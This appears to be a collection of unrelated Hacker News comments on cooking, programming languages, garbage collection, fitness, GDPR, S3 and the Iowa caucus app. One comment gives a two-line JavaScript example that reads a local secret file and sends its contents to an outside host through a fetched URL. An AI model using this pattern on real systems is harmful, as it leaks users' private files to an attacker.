skysight-inc/HackerNews huggingface dataset:
Cooking is one of my favorite activities that I'm actually decent at. One "cooking sin" that I do is that I don't taste my food throughout cooking. The general feedback on my cooking has been positive.

When I try and cook new dishes, I do it by theme. The theme can be:

* Ingredients (eggs, poultry, grains, tomatoes)

* Courses (breakfast [eggs, pancakes from scratch], dinner, desserts [flan, custard]

* Execution (baking, sauté, oven)

* Cuisine (Mexican, Thai, French, Puertorican)

You will easily overlap the themes the more you cook, the themes are a starting point.

Two of my favorite books that the audience here might appreciate are The Food lab[0] and Cooking for Geeks[1].

* [0]: https://www.amazon.com/Food-Lab-Cooking-Through-Science-eboo...

* [1]: https://www.amazon.com/Cooking-Geeks-Science-Great-Hacks/dp/...
++ to typescript and deno. Deno might not end up being the runtime, but at some point we're likely to see a dedicated typescript runtime. Getting on top of it now and understanding the implications is worth being aware of.

One other thing I'd add to this is learn webcomponents. Likely we'll see things like React/Vue/etc use them under the hood in the future, but it's worth learning what they're good at and what they aren't.
If they're free and you're really cheap or lazy then maybe? I was just curious if you asked what his motivation was.
> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

If you can fetch arbitrary URLs, and the contents of local files, you can trivially exfiltrate the latter with the former. Just fetch the local file, then fetch an URL that encodes the contents of the local file.

var text = fetch("/local/secret/file");
fetch("https://example.org/"+encode(text));
Iowa Caucuses, Do Your DataOps
Go GC implementation uses memory allocator that was based on TCMalloc (but derived from it quite a bit).
They use a free list of multiple fixed allocatable size-classes, which helps in reducing fragmentation. That's why Go GC is non-copying.
I tried both approaches on a recent project and in my experience it gets tedious once my application (and with it, its rendering logic) got more complicated. Manually juggling around listeners and mutable state all over the place just leaves a lot of room for error. (As opposed to leaving all that to some DOM reconciler that I don't have to, essentially, implement myself for every problem.)

Initially learning a new paradigm (declarative over imperative in this case) is hard, of course, but it can be worthwhile. Whatever works for you though.
Robotics/robot: http://eliot-jones.com:5690/Home/Trend?id=robotics%20robot&a...

Potentially interpreted as interest peaking 2015-2019, currently in decline.
> deadlift's are quite dangerous for the untrained.

This is just false. Sure, the untrained should get some instruction on proper form, and start with manageable weights, as with any exercise. But deadlifting is the least dangerous of the power lifts, and far less dangerous than half the activities in the average WOD.

> Start with "Fix Rounded Shoulders" and "Fix Anterior Pelvic Tilt"

Definitely don't. These are non-scientific maladies invented by fitness personalities to convince you to pay for their specialized expertise to fix your particular biomechanical imperfections. You don't need perfect posture as a prerequisite to benefiting from deadlifting, or any kind of exercise. If you're physically capable of doing the movement, even if your version of the movement is imperfect and not adhering to the mechanical ideal, you're able to benefit from it.
> I'm not even talking about the immaturity of the async await support.

The one that is 100% more mature than the Java async/await support?
For me I've noticed that over time I've stopped worrying about the code and now mostly care about the data. How it's stored, how it's transformed etc. The code comes from how the data is managed.

As a new programmer, you certainly spend more time thinking about the details and minutae of the code itself.

Changing languages within the same group tends to come pretty easy, a C-like is mostly similar to other C-likes, flipping from python to ruby isn't all the terrible (or vice versa).

Moving between language groups is harder though, still struggling to wrap my head around lisp and haskell for example. Probably due to my skewed upbringing, BASIC to 6502 to 68k to C to python.
Agreed. It's a little frustrating to watch, like people trying to fit a square peg in a round hole. Especially when you know how pegs are built, and that most of them are filled with cracks that make them fragile under good circumstances, and extremely vulnerable in worse ones. And when round pegs are totally fine for the situation, and have been around for a long time, and can be used intuitively by anyone that wants to double check the geometry of the hole.

My analogy is breaking down. But certainly agreed.
> replacement for visual studio but faster

How can a IntelliJ Idea derivative written in Java be faster than VistalStudio which is native code? Both Idea and PyCharm work much slower than VisualStudio on my machine.
It doesn't change c, but it does change d.
You're right. I don't understand your point so I can't agree or disagree with it.

I think you were suggesting that only the top .1% of singers who want to make a living singing actually do. But the top 90% of chefs who want to make a living being chefs actually do. If that is the point then I completely disagree.
Perhaps. Perhaps not. As a thought experiment:

How long would it be safe to go without browser updates with a browser of complexity/capabilies of links, if 50% of people used it?

With many people combing through it, would it become effectively unexploitable?
I am a hobby (unplugged) woodworker with a quite large collection of vintage tools... it all started because I needed some basic temporary furniture for the new house and w were broke enough to not be able to afford it - the kitchen I built is still around after 7 years and I have developed a lot in this area.

I use manual cameras, or digital cameras in manual mode / with manual lenses because that's how I learned photography in 1990's

I like to cook, 95% of our meals are home made, I can prepare a whole week worth of meals in abut 3 hours, including cleaning. I usually just improvise, my wife says I can make a delicious meal out of an empty fridge...

Yet music somehow eludes me - and it is THE thing I have always wanted to be proficient at way more than any of the above. I just don't have any idea how to approach it. Let's say I get a musical instrument - be it a piano (keyboard), a guitar, saxophone or percussion. What's next? Practice the notes until I'm "touch-typing" them? Then try to mix and match? Try to play some sheet music or repeat what I've heard before by brute-forcing? I am actually able to re-create a simple melody by trying the keys on a toy keyboard, but in all the other areas (woodworking, cooking, photography) I went almost straight to improvisation - which I enjoy the most - and I have the feeling that in music there is some set of basic skills required to unlock this, yet I don't know what it entails. Woodworking is all about hiding the imperfections, photography is about selecting the best shots / being prepared for lucky timing, and an imperfect meal can be (usually) fixed with herbs/spices/salt. Music is either spot on, or too far off to be tolerable - am I missing some middle ground opportunity here?
No offense to Tokio and Rust, I really like Rust, but having someone rewriting their app because of performance limitations in their previous language choice, isn’t really someone picking the right tool for the job necessary.

I’m not so sure they would have done the rewrite if the Go GC was performing better, and the choice of Rust seems primarily based on prior experience at the company writing performance sensitive code rather than delivering business value.
It doesn't seem to be worth the risk or hassle.
At first I thought it was project valhalla merging into mainline java. Apparently this is a java language feature. Java is starting to move away from being the C of jvm. Java constructs are no longer direct mappings of jvm constructs.
I don't think you're missing anything. As I said, it's a middle ground. :-)
New Twitter Rules for Synthetic and Manipulated Media
> These other countries are free to try and improve their conditions. > Trying to drag us down to their level is pathetic.

QED
Sounds like the idea came up April/May 1994 for F# then. Not sure when the feature landed.

Was added to OCaml 2013-09-12[0]

[0] https://ocaml.org/releases/4.01.0.html
You need "Firefox Preview Nightly for Developers" (a separate playstore listing).
IIRC there was a feud between Chrome developers who wanted raw file access and Firefox ones who didn't want it. W3C sided with FF, so we can't build proper desktop apps using PWA, even if WASM makes them quite fast these days. Now Chrome devs resuscitated the attempt with NFS API, so I'll grab my popcorn and watch their interaction one more time...
Like it, or not, these companies believe the terms of service at the bottom of the page suffice for your consent. We really need this problem to be tackled on many levels (legal precedents that terms don't matter, education, encouragement of good alternatives, etc.)

Until that time, folks in the SV bubble will just keep doing this. Companies that can operate only from the US are effectively untouchable when it comes to regulation. Big companies like Facebook get caught a bit because they have offices, but many no name companies acting as data brokers, etc. don't have a presence and are hard to deal with.
Our perception might be based off of pattern recognition because the universe is patterns.
But if you disable telemetry, they'll only have 13?
Intel had the i740 GPU in 1998. Poor performance and cancelled after 2 years. I don't know what you would call its internal instruction set.

Intel was going to release Larrabee, their GPU based on x86, in 2010 but cancelled it because of poor performance.

All of Intel's integrated GPUs are adequate for desktop use and light gaming but they have poor performance compared to any Nvidia or AMD GPU. I don't know what you would call their internal instruction set.

We will see how Intel's new Xe GPU does. I'm predicting that they will cancel it in 2 years because of poor performance.
I find it pretty hard to get cooking down to 30 minutes of actual clock time spent working, not counting cleanup (I do a decent job of cleaning as I go anyway). Most recipes with short nominal "hands-on time" achieve it by not accounting for the prep to have all the ingredients ready, as specified in the ingredients list (dicing vegetables, grinding & mixing spices, cutting up meat, that sort of thing) and usually the shorter the nominal time the more important it is to have all that stuff ready from the start, as there's little slack to do that as you're cooking.
You need your daily excercise, going to the shop, cooking, cleaning all count towards 10k steps per day on your Fitbit.
Indeed, this (ublock) is what I've been waiting for to switch. I'm definitely going to give it at least a proper go.
How a Blockchain.com Founder Is Fighting Poverty
> Whatever the case may be, the DNC is who ended up taking it on the chin.

This should fall on the IDP (Iowa Democratic Party) as they commissioned the app...
The memory controller referenced in CAS is in the CPU and the ram modules are part of those ram sticks so it’s not the only component of CAS latency but it is a big one.

“For a completely unknown memory access (AKA Random access), the relevant latency is the time to close any open row, plus the time to open the desired row, followed by the CAS latency to read data from it. Due to spatial locality, however, it is common to access several words in the same row. In this case, the CAS latency alone determines the elapsed time.”
Still asking for Github permissions for me (to view a demo / example) - without it I have no idea what this is. Even screenshots or something there would give an idea.
There’s so many things wrong with digital voting. The biggest being that it’s so easy to hack compared to analog (paper) voting. You want to change an election, just hack the machine. With paper, you need a grand conspiracy.
Non-Euclidean Virtual Reality
Because VS has limitations on the amount of memory it can use and although they have been working on this, there is still functionality which is highly single threaded whereas Rider tends to offload most of the functionality from the UI thread into background processes.
I work in finance for a nonprofit but have spent a few years at startups doing ops/finance work and might go back to that some day, my wife is a medical professional (but not a physician). We're in a similar position to one of the other posters below in that we both have great jobs with plenty of opportunity here, but it's just brutal to keep up with the tech money or really feel like it's "home" when we have to keep renting and need a fortune set aside in case we have children and one of us wants to stay home for a year or two to raise the kids.
That is kind of bad Windows programming but easy to do when writing an app that doesn't need to handle Windows event messages. It probably sits in a loop waiting on socket events and doesn't care if you sent it a WM_QUIT or not. It would be easy to pump the message loop and ignore all, but why bother?
> He didn't really demonstrate how "hackers" could read the file system, right? The screenshot of etc/hosts is on the same computer where that hosts file lives.

Are you saying he could alert it but not exfiltrate it?
There may be a point where the total economic cost of newbie training exceeds the benefits of improving efficiency for the experienced. C++ arguably did that. Another problem is that people will use different languages if the learning curve grows too high.
The CTO, Krista Davis, has had staff backend engineer positions. However yes the team looks fairly inexperienced.
> Wait, why are we talking about CEO salaries? What does this have to do with anything? Oh, I get it -- it's going to get The Atlantic a bunch of "controversy clicks" on Facebook and Twitter.

For some reason, extreme CEO salaries garner more envious rage than extreme salaries of musicians, actors, screenwriters, or sports players. Is it because we're in awe of their impressive skills, but we think we ourselves could all be amazing CEOs but for unfair systems of birth and networking?
Nope still needs login
Someone should create a nice little canary.js that reports on alert() etc being called by setting window.alert = function honeypotFunction(){…};. Although perhaps the noise from extensions and users would make the signal too useless outside of electron.
Code: https://github.com/henryseg/non-euclidean_VR

Web: http://www.3-dimensional.space/nil.html
Music Evolved: Billboard's Hot 100, 1958 – 2016
>Referring to these people as "janitors" is pretty damn demeaning,

"Referring to the term of "janitors" as demeaning is pretty demeaning and says more about you than your judgement of the parent."

I don't like this rhetoric device you just used.

Also, I think that janitors do important work as well.
Unity has recently added the "incremental GC" [1] which spreads the work of the GC over multiple frames. As I understand it this has a lower overall throughput, but _much_ better worst case latency.

[1] https://blogs.unity3d.com/2018/11/26/feature-preview-increme...
I love that Sound City doc - watched it a bunch of times.

I was a studio engineer the same time as you, predominantly in a studio in Sheffield. I was blessed for the fact that the studio had an epic live room, fabulous collection of mics and outboard, including some mental compressors from Tubetech and E.A.R. - all recorded to 2 inch via a Neve that we had dismantled from its previous home in CTV and rebuilt and installed over the course of a month or two.

Around the time I moved on, Logic Audio was really coming into its own, particularly the plugins available. I remember seeing an AC30 plugin (we used to have a lovely AC30 in the flesh) so I figured "this will be *", but it wasn't - times they were a'changing :)

I was a little sad because I loved the all the moving parts and collective effort/experience that it took to build a record, and watching it all disappear inside a box seemed to steal some of the magic. That of course is just the opinion of a tech guy - for the guys on the other side of the glass, it has been a game changer democratising access to making records. (Not that it stopped some people at the time - I remember the massive A&R bun fight over Gomez when they appeared - they very shrewdly managed to get an excellent deal, together with advance and then promptly went back into the tiny studio they recorded the demos in and put that out - it did sound great to be fair)

Sort of back on topic - never got near Amigas. Before Macs becoming ubiquitous it was all Atari STs ...
Thank you for your review and comment. This oversight has been fixed, and new version posted: https://www.ietf.org/id/draft-wkumari-not-a-draft-08.txt

I'm planning on putting this on GitHub soon, so that issues can be filed, and, more importantly, pull requests submitted. Important work....
I wonder what the "match" statement would look like on your example. This is exactly as you say though: ugly, inefficient, not-as-nice, yet works. And clearly debatable, especially as it goes against Java culture.

The pattern could be used commonly, and clean-up heaps of code, and remove exception's hard-to-wrap-yr-mind-around flow jumps/etc, that I do hope for both tagged unions and match switches on them to be introduced. Some are already demo features IIRC.
It's rather like proving a negative. If they were really popular, chances are I'd have seen one by now - but I haven't. That doesn't mean they aren't popular, but it reduces the odds.
There has been an EU court ruling on this exact question of whether dynamic IP addresses count as personal data even in contexts where the website operator in question does not have the means to associate it with an individual but another party (such as an ISP) does. The Court of Justice of the European Union has ruled on this and it does count as personal data. [1]

Furthermore, GDPR itself specifically refers to online identifiers in Article 4 as falling under the definition of personal data[2] and then clarifies in Recital 30[3] that IP addresses count as online identifiers in this context. There seems to be no legal ambiguity in the EU on this topic at this point, but I would be not surprised to see parties who are not GDPR compliant pretend otherwise indefinitely.

[1] https://curia.europa.eu/jcms/upload/docs/application/pdf/201...

[2] https://gdpr-info.eu/art-4-gdpr/

[3] https://gdpr-info.eu/recitals/no-30/
It comes from a fundamental lack of understanding of what S3 is and how it is organized. Objects are indexed as a key value store optimized for sorting on a key and a key prefix. The fact that keys can have backslashes as a character doesn’t mean that objects are stored in “folders”. Knowing how S3 indexes data - by key only and all other metadata is tagged on the object and not in the index, should inform how to name your keys and your access patterns.

For instance sorting by date, would involve AWS querying each objects meta data and then sorting it.

If having to find objects by date is an important use case, why not create keys in the format of YYYYMMDD?

Or just use the CLI.

https://github.com/aws/aws-cli/issues/2095
Did Deep Blue teach itself to play chess?

I’m not sure that “self-teaching” should be considered the defining criterion for AI.
Not yet.

Tell me again why you don’t think agents of the government would do awful things in the name of the people and law and order?

We live in an era where people are accumulating power by breaking boundaries.
Doesn't all of this apply to git just as well, except for the last bit about the MD5 hash?

It just seems to me that the Fossil maintainers have decided that keeping all old SHA1 hashes is acceptable, while the git maintainers have decided that it is not.

Unless I've misunderstood, this is why it was "so easy" for Fossil to transition to a new hashing algorithm. Not some superiority in the design of Fossil, as implied on the Fossil forums.
Apps are cool man!!!

It's kind of part of the general back to the 90ies mentality of the DNC, yes there absolutely no need for an custom app to do this especially given it's a caucus and not a closed box election, and as there is no reason for keeping the raw data secret doing the counting process, an signed message on any platform(it could and should be public) would be sufficient security.

Heck telefaxes with an off the shelf OCR business grade solution at the other end would have been fast effective and likely cheaper but would have meant less opportunity for the Iowa party bosses to mingle with the well connected Washington apparatus.

This just smell of vanity project where a bunch of low power politicians felt their status would increase with an successful app launch only to have the whole thing blow up in their faces.
Yes, its all subjective, I know. But stepping out of the garden is what I’d like people to take out of this. Saying C# is the most beautiful language (like some commenter states) is true only if you haven’t dabbled in many languages. And once you do you feel stupid for having had this conviction in the first place. Ive used C# throughout my career, I don’t diss the language or the ecosystem, but other things are to be considered as well and cargoculting is a thing
I hope no one comes away from this thinking the engineers were at fault
Yep - that feels very similar to our thought process. Unfortunately, we're in our mid-30s now so that kid discussion / location decision can't be deferred for too much longer. We were really hoping for another real estate reset, we could afford a million dollar house if it was in the right place (e.g. that we wouldn't also need to pay for day care / private schools for the next two decades) but it's just hard to stomach how much everything here costs.
> and will eventually replace it

Really? But isn't Hangouts free and GSuite not?

I find Google's abrupt roadmap changes dizzying, especially wrt its many messaging products. Can you cite where you heard that plan?
The goals of Rust are stated boldly right on the official website - "Performance" is one of them. In Discord's case, the hit in productivity was worth avoiding the GC issues in Go. I read the article and didn't come to the same conclusion, so I'm curious which passages led you to believe this was done to "adopt a trendy language"?
> latency is acceptable

Feedback from the other 10+ gaming SaaSes suggests everything, but this. This is pretty much a game breaker.

Every time there is a new gaming SaaS, they come challenge that. Even Google with its own backbone network can't provide 50-70ms in the best case demo room scenario, and jitter is simply impossible to mitigate on anything, but the top tier switches that are too expensive for residential ISPs.
I’ve had really good results with LXC/LXD. Depending on the privileges of the container the only area of overhead that sometimes concerns me is filesystem IO, but ive been able to work around it.
What do you think the ‘somewhere inexpensive’ restaurant uses for ingredients and equipment?